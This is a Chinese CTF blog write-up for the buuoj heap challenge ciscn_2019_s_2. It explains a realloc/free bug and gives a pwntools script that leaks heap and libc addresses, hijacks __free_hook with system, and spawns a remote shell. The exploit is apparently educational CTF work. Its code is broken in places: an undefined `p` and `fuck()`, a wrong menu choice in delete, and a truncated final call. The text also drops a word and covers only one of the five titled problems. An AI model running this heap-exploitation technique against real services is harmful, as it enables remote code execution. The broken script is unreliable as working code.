buuoj Pwn writeup 256-260

博客内容涉及多个CTF挑战的解决方案,涵盖了堆管理漏洞利用、libc地址泄露、free_hook劫持等技术,包括对realloc、free、edit操作的利用,以及通过编辑字符串进行内存控制和got表劫持,最终实现远程命令执行。

256 ciscn_2019_s_2

在这里插入图片描述
add
在这里插入图片描述申请一个0x10的chunk,分别放着地址,大小,flag。

edit
在这里插入图片描述有个realloc,一会小心。

show
在这里插入图片描述
这个show就平平无奇。

delete
在这里插入图片描述
free没啥问题。但是他没有管我们刚刚说的结构体里面的flag。

这就导致什么,我们再free了chunk之后,ptr指针没了,但是我们可以edit传入空指针,走一次realloc。

空指针的realloc会发生什么,当我们的size是的时候,realloc会将他释放掉,清理指针的

exp

from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'

elf = ELF("./256")

r = remote('node4.buuoj.cn',29001)
libc = ELF('./64/libc-2.27.so')

def add(size,content):
		r.sendlineafter('choice:',"1")
		r.sendlineafter('size?>',str(size))
		r.sendafter('content:',content)
def edit(idx,content):
		r.sendlineafter('choice:',"2")
		r.sendlineafter('Index:',str(idx))
		r.sendafter('content:',content)
def show(idx):
		r.sendlineafter('choice:',"3")
		r.sendlineafter('Index:',str(idx))
def delete(idx):
		r.sendlineafter('choice:',str(idx))
		r.sendlineafter('Index:',str(idx))
def edit2(idx):
		r.sendlineafter('choice:',"2")
		r.sendlineafter('Index:',str(idx))

add(0,'')
edit2(0)
delete(0)
add(0x10,p64(0))	#0
add(0x20,'aaa')		#1
show(0)
r.recvuntil('Content: ')
heap_base = u64(p.recv(6).ljust(8,'\x00')) - 0x2a0

add(0x500,'aaa')	#2
add(0,'')			#3
delete(2)
edit(0,p64(heap_base+0x2f0))	
show(1)
r.recvuntil('Content: ')
libc.address = u64(p.recv(6).ljust(8,'\x00'))-96-0x10-libc.sym['__malloc_hook']
add(0x500,'/bin/sh\x00')	#2
fuck(3)
delete(3)
add(0x10,p64(libc.sym['__free_hook']))	#3
add(0x10,p64(libc.sym['system']))
delete
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值